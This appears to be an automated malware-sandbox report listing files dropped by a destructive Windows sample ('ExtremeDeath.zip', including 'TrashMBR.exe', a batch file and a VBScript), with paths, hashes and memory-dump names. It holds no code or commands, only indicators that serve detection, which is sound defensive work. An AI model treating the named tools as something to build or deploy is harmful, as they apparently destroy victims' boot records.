Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 1017B
SHA256 8885a0b5db5edc349edebb6579d04f0277b574f1de8780a5923b27ca6badb16d
MD5 c81b4c7f540f2e34a9e639dbfc2f65f3
SHA1 9905d21ca5342d4929f749eca1c399153b6528a1
SHA512 ed79ee252450fbd625b7d9471d1d18d52c916e39111e350e886bd1879f205ff190bc03b8d16c4d83f0165fdbd11c782e41db1da9d8b72a9459c4833adcc483be
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 1KB
SHA256 3c08f5cfb23f79b9e9d0f6e761ee3c6f810c60aeeaa8c7a36e45b699d4fbb509
MD5 4e194e6197ba24423364e3a15e1c27b5
SHA1 e004eb325b9298f064674219441fb2f70c13dc56
SHA512 49153e26719bbd38ca1cfa6eb196be38f69238f494cb7d119a24e8669081cef83a022642b00f396554bbdd6009d2cd78751b528a935862729ff202e39d9feb4e
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 d25a64f8ab421fdee8604f35f3eabe7ed17c5a6bd059f87c72337bdeba6b6a96
MD5 e21726fac359de942a5c4ef75638e864
SHA1 e316eef34b3b89e112fa4f7d77e7d50565de6bf3
SHA512 c2af1b1923ef6895aeee21cad366fdafe6bbe1cb2e5b4f821e33e6f9da80f0faaceafdaa2c05796aa785e16ac64985330834c72ac52a43cb75f65ecbfb47a516
SSDEEP 192:uYcBzvNu10ev36HV+FTbzOkgX9NkwvPo6yIsnVdgf:uYmzvWf3OGHqkedf
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 b6cb1ea09d726cac07397a1e6559ef47997b95b71d7d109794854b612623e47a
MD5 39279938dfad6da3a02fe8d5211641ad
SHA1 b8ce5fd363e193d4c77e1e55f4bab4ed4ba29cc9
SHA512 4e3edf8530a8c118117e0bd3145e5d219c6c1abd48a5483b29fba066acdc16f9b3f9e63b8df47c455893a561087df6d25987fcf01ea750bb9523b103d7ba681a
SSDEEP 192:uYcBzNNuc0eI36HV+FFOkR9NkwbPo6yIsnVdgf:uYmzN/43OG8klJf
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 f31c7a00c572e0bec4c80b82b379752cc9d6bf5e77ab5822daa84d833746d475
MD5 ea8af7671de268ca50e9a80309b08234
SHA1 778547aaa89bdbb03f1f64c3a031299d0972b657
SHA512 1fc34eed4ca979551383cdff87f926cffed1f1c34dd4b21fd56fcc8f38323a49e92e39b8db031a9648c1090f85a77f55365f49430155820e6e24384b39cef0f9
SSDEEP 192:uYcBzvNu+0ev36HV+FTbzOkc9NkwbPo6yIsnVdgf:uYmzvBf3OGHqkWJf
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 db3abaea72fe4d01e49bb1450110fb844de3983e53d9a63d1f79bd6ed5c99558
MD5 2ef82fed1771db311c630be92edb5655
SHA1 f2a746392c418d4f5316e7b12a2f04856db8e821
SHA512 1f6c596c7329568f1c7cfee0aabde4805d7fba299841b39fcda6bf99a92921bed18dceaa0ed19945f10e2372a56530a8769afe019d6caedc3bb60a3787442dda
SSDEEP 192:uYcBzvNuf0ev36HV+FTbzOkgX9NkwvPo6yIsnVdgf:uYmzv0f3OGHqkedf
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 8KB
SHA256 414ce6f2f7c53eda3d08669a6508334e9d025c24407ba3f762e1dcf0282cc2d9
MD5 44380d71761aa874fe20ec857bd27f38
SHA1 1a29d5d484657ab9e92e143068e2db25ee4062ab
SHA512 ffdab12385bbb600118a2fab9467c95aa1f805d30a3600a229b3e34ab164f2c82f742bb84ff62cd1a8c9f7e72e8e583f4773ddfc27f4d321ffe9c06af5560c01
SSDEEP 192:uwNNu10e2A6HV+FRW29NkwZPo6yIsnVdg4:uwNQmAOGRtL4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 f5f1fe1ae84423c193f678f9ae684b4c20f4e0fdf99e3601aac7162a47fb74c8
MD5 4e5ffa7c08d37787c2da7499d84ee29e
SHA1 2f36fd30ee0f72dbaecf8abd5a6397f0a81d2b1d
SHA512 5df810ccf48d394abc47666c42545c1d274776bd3a65a00a4474ed761f0683f34a5279d37c4e3fd857d0d58ae7cdc7462f8fc94a6411763a69b47df6c2a09a57
SSDEEP 192:uYcBzvNu70ev36HV+FTbzOkgX9NkwvPo6yIsnVdgf:uYmzvMf3OGHqkedf
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 d6a6fdc4c622b13bd6aabb69ae1e0eb1720c644b985ff390f702ea837688f2c3
MD5 9c4dc3b1abf217d532662f5e925c136e
SHA1 29044da562d03a54c666af124819c403a53bc2d0
SHA512 61a70ecbf1be1d9805a97ce2e9dbba353cea6853e45deb57b731122f41e4f528d2cfb237fc922a98f2268c1680d108f8daa228c38287581fe18e572ffa677bce
SSDEEP 192:uYcBzvNu90ev36HV+FTbzOkgX9NkwvPo6yIsnVdgf:uYmzvOf3OGHqkedf
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 44c65b35d142d3252ba0fe806e29bc16513ff51397147d3ec7e707f2b7ca5918
MD5 7b435525122c5bb30e8f9de051925f9d
SHA1 57177e7501575af0b9249427c80bb50cc4e3287f
SHA512 abb4c28d99a4b5ae97d6a02e3b0741425d71a8a9eb1786995540fd8d0e00d4a303b01258869bfa130004f83af1d544683bcfd2f12ba28e9d50ed1d4e3f227a1f
SSDEEP 192:uYcBzvNuE0ev36HV+FTbzOkgX9NkwvPo6yIsnVdgf:uYmzvPf3OGHqkedf
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 9KB
SHA256 f04e87088f9dcae3f6ddd435c68f7c180551f829e82f57993f589424e5205b4f
MD5 32f0ed165361d71dd8b2714c96f48b88
SHA1 18dcdc468184d0b8736e6c351dc713576a8ffada
SHA512 b86c90e33e78328be11656c21535dbeb15df7e4c7682196b2e933085bcec6a5003d50cdd1e2327ca17e004fb9b8ebed9f973cde00358d5d6ab661dbb55c4482f
SSDEEP 192:uYcBzNNuR0ejX6HV+FcOkR9NkwZPo6yIsnVdg4:uYmzNCTXOG5klL4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 77KB
SHA256 e16f41007fd64cfefd67b81c5e037355dc3966e9cb960992454f635cf5773250
MD5 5283a946640ce87194e94a5d225fa2cc
SHA1 ec5d4d45f650c741446f93d83dbfa52e167b03d9
SHA512 3bbb5db30ef7a04bb7bb03a5e372c3531946828fc26458e53f5acf983453dd5083478247d3dde2c1fc202c0f22182b67c4c0136b6b5ffe7432369996b26e201e
SSDEEP 1536:qumvprt5iWIc8Obp8Dy9drEltd6Vt3nWvQoFQGeB/9WoIawoTvPDju:xm9t5iWUEp82vQ0QaD9W3aP2
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 77KB
SHA256 47e6deff880d94e06fe666dea9fe111c00c16e099c57fd222c2c322da612d373
MD5 60096db02430a2f4d4e5e753c8bc9b94
SHA1 02ea79473a2ce9f0c2ac767f63867d41b238f1dd
SHA512 54df3c706f13d68ea2ee6253ff8424eb1a9a407b1cb8f5a8712b5525ff73065ed39cd8de8714482729fe64821fc433265cf3887689fe6d8e20c144907a3ec439
SSDEEP 1536:Xumvprt5iWIc8Obp8Dy9drEltd6Vt3nWvQoFQGeB/9WoIawoTvPDju:em9t5iWUEp82vQ0QaD9W3aP2
MD5 SHA1 SHA512 SSDEEP

Submit Download

2E41.bat

Path C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\2E40.tmp\2E41.bat
Size 1KB
SHA256 355785cc786eed7dffecfa7d33872f6de6baa833dce34598adf0d5c8688c00f6
MD5 8c5dafc8fbd26dd529c25a01ecd5a51d
SHA1 839e962516258049a9e5e358dec7fe352e09d840
SHA512 fda772a900c542eb59f4a94dc1eadec9677bb117e84a07c4e5c1afbf853704e6be4031383330f0dd88d2b48bbca973484c1e60ab3aa9424158f2c787e63de295
MD5 SHA1 SHA512

Submit Download

BitBlt.exe

Path C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\BitBlt.exe
Size 103KB
SHA256 e0c40f127ceef9de46569154ef16f59e7e15d19477beb167f67a72d35193114e
MD5 d96dcc6c97ee4740f0a3a41b3bccf5cc
SHA1 25530ffaf174063c119e2d0c06afdc1d2bdd416f
SHA512 0f9ca7eb852edb469fd2f73e8b2a9425771d359aff4fde220193996befaa07fb57ac5e77d11b4cf29f3d64b358169d6a95cab02af57e5eea390063d5bd9e8372
SSDEEP 1536:pK5iT50crY0Xy4WOsu3yUyJCbcVDG7vHva64:d10cXXy4IJiiJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

MouseAppIcon.exe

Path C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\MouseAppIcon.exe
Size 103KB
SHA256 72a5692d137571317f84287c4f2abb341b95173f9ee43901f6b3272bb1631e95
MD5 92af619c1bdabf79c26bddda2556d9d0
SHA1 ac153eb6edd873abf6dcb6a0edbc9922d15e5dd1
SHA512 439855a8487f5cdd5ec195c303c85078af69c05ae28a837ff4d74d8e9f922a9556299b02b7bfdbe47f4287772604b21fe017ee49e0668022877a063771a37adb
SSDEEP 1536:m85iTP2c3YW+yPEOMu3yUyJCbyVEu78FgKO5:mFz2cf+yPSUh9O5
MD5 SHA1 SHA512 SSDEEP

Submit Download

MouseError.exe

Path C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\MouseError.exe
Size 103KB
SHA256 48da69b9dfd600973ffcdba14abd88972ae51a5cae31b41d85ed56977f2b94dc
MD5 cc72818ce44b3506b64b7f9a73d701bf
SHA1 041497924684e41aa671fe64acf6f980e0d9da7c
SHA512 4e3ad05ad99bd8c150ad99c8becca122613e446c678617f0a5a28e780706afe03580ec643956245e5e02d169e4f28bdf4f95b7d095d8e055517508c7dbeb0149
SSDEEP 1536:WD5iTP2c3YW+yPEOMu3yUyJCbyVEu7PFgKO5:WEz2cf+yPSUC9O5
MD5 SHA1 SHA512 SSDEEP

Submit Download

MouseWarning.exe

Path C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\MouseWarning.exe
Size 103KB
SHA256 c3c6fe174f474e47b93e7aea1d0d77539d6880c3d84acac6412eff3393366dae
MD5 ad241a26c7f536fdb0658d602a86fcdd
SHA1 f862eecbac2d4afe4a437b77c6020b6de38b0671
SHA512 5d8f9bd5d17a98b03adb4f0e173f011071708847748395889e7b582a25fc9f4606223415d9b61b3f82274a3addd73d86752bfba0bcb452990347f6b1439d672f
SSDEEP 1536:XV5iTP2c3YW+yPEOMu3yUyJCbyVEu7+FgKO5:XOz2cf+yPSUT9O5
MD5 SHA1 SHA512 SSDEEP

Submit Download

PlgBlt.exe

Path C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\PlgBlt.exe
Size 104KB
SHA256 7cd320070e23e6582589d83f01f4da86ce0d1c0fe83d8df2007886c6ea10cc83
MD5 5d8ff1dd3662ac09e5bfa682ffdb233e
SHA1 c0ed5cfd5fa76db7087b4f25a806e124e29520af
SHA512 d2258dda192a6a938989617aa46c33c0eabfae2a2d3284d3ac999b8d482ff2f08ffde836156ff341e51029d946f71ce77892b13a5924996b92a7773f2e123bb9
SSDEEP 1536:n15iTOLcLYrOyvCOiu3yUyJCbtS7L7GxRP:uaLcuOyvKRmxR
MD5 SHA1 SHA512 SSDEEP

Submit Download

TrashMBR.exe

Path C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\TrashMBR.exe
Size 1.3MB
SHA256 82f2e6b2cdad0ef859fe839c97bd7c0a34452638d49094979d7c0c4488b5c2ab
MD5 42d06436fdc392a4e90d03623119fa87
SHA1 df9f007d438fc17fd47324b74a82d100a0763204
SHA512 52655cd83ab881c93c9076ad0d8a9b8ebeba37d6d2b00ebcf5a45f1e835463898aa22611445ff7505977cb8d8942e2f8b6a60706ec7eee494f7131ecc65e76c4
SSDEEP 24576:QfTDLoxKMcQx8iIEy4oJoKPCgSZv5DxuQ5O3h3JMtbC:6UcQBIX8JCMtbC
MD5 SHA1 SHA512 SSDEEP

Submit Download

beeper.exe

Path C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\beeper.exe
Size 402KB
SHA256 1d89bd45a36dd300a250292cacf22a7beff3cfe0dfddab0d7b77c3c260032131
MD5 8d1a9c2e8d53425499f3a1853d2e0910
SHA1 83962bce20d3f84b796486489e2c734afd1d0846
SHA512 81ba0b91f2fd0ba9b198c59ae7cc6115bf9b05c119ea46f37043a1981ef246c617fe6ba5590048b2e1383fb27c686b6eb75fdd6e642ea4433b404d0eaabf3950
SSDEEP 6144:p05nvFi0Nh90wjySZcAZ3G1sjacRmhHHw4/o/b714QJ8I/k73BsMIo:knvBNotU3G1sja2v4cbB42k7d
MD5 SHA1 SHA512 SSDEEP

Submit Download

glitch.exe

Path C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\glitch.exe
Size 103KB
SHA256 48af943061196a4f47d5de6d2335bef7bcfdb89990e8ddb2339e64024f0d50d9
MD5 5ce49a6bbff759faf8204a65991d6bd7
SHA1 b8fe526d5cc346c506e543c7eecef995d1f96021
SHA512 e77785d8366de1062eb0d044b3b096f3d3c7687986ec332a607333a40acf8341f917a62f910ca5b419b4122f294e11d81e6fbaf707c240baa8556ede87d01356
SSDEEP 1536:oG5iTCgcrYisyu7O5u3yUyJCbcVkR7Gnri:oX+gcDsyuaGAO
MD5 SHA1 SHA512 SSDEEP

Submit Download

prompt.vbs

Path C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\prompt.vbs
Size 205B
SHA256 1187be0f09aa0f917718064406e4595ac6137dd3a801e91ab2d7a03d98872da1
MD5 709874d32bd68e69010acdf70cebf063
SHA1 feb94076246fe2fc902ef04d745fa0e60fe1497f
SHA512 bdb10baa9d02f9fff1b59e718a59c6c5a163d4a9d503fb2fe1767163fd3d746c01a7ca1546ad4febc25685d5a854635bc6170009db851a66853ce66d71d25526
MD5 SHA1 SHA512

Submit Download

ExtremeDeath.zip

Path C:\Users\Admin\Downloads\ExtremeDeath.zip
Size 869KB
SHA256 8509174c6b51296ac8a43d08dc773c48fa10b86c9ff7095c4f80bba31966ea1d
MD5 80bf076cf31615750f7416d3bc7bb87f
SHA1 8b63084e104752100b0bdc9eb4d2ff9864557e90
SHA512 733374e03c4fe4345c2a6f8de500f62de5c9e5541561dd257d8ef004c3d12ab43797079c043be5896b8e5530735154deba3934dfd36ca9515feaeb4bb651ae34
SSDEEP 24576:krJsEu0J4kijb3rOL6FryBXyXD0g/HsLPY:SJsE/kaL6GsDp/HsLPY
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/456-381-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/1892-377-0x0000000000400000-0x000000000051D000-memory.dmp

Download

memory/1892-326-0x0000000000400000-0x000000000051D000-memory.dmp

Download

memory/2152-397-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/2420-356-0x0000000002970000-0x00000000029D0000-memory.dmp

Download

memory/2420-355-0x0000000000730000-0x000000000079A000-memory.dmp

Download

memory/2460-409-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/3892-421-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/3892-474-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/4004-419-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/4004-472-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/4324-351-0x0000000000400000-0x00000000004D8000-memory.dmp

Download

memory/4360-448-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/4412-434-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/4960-383-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/5108-420-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/5108-473-0x0000000000400000-0x000000000041D000-memory.dmp

Download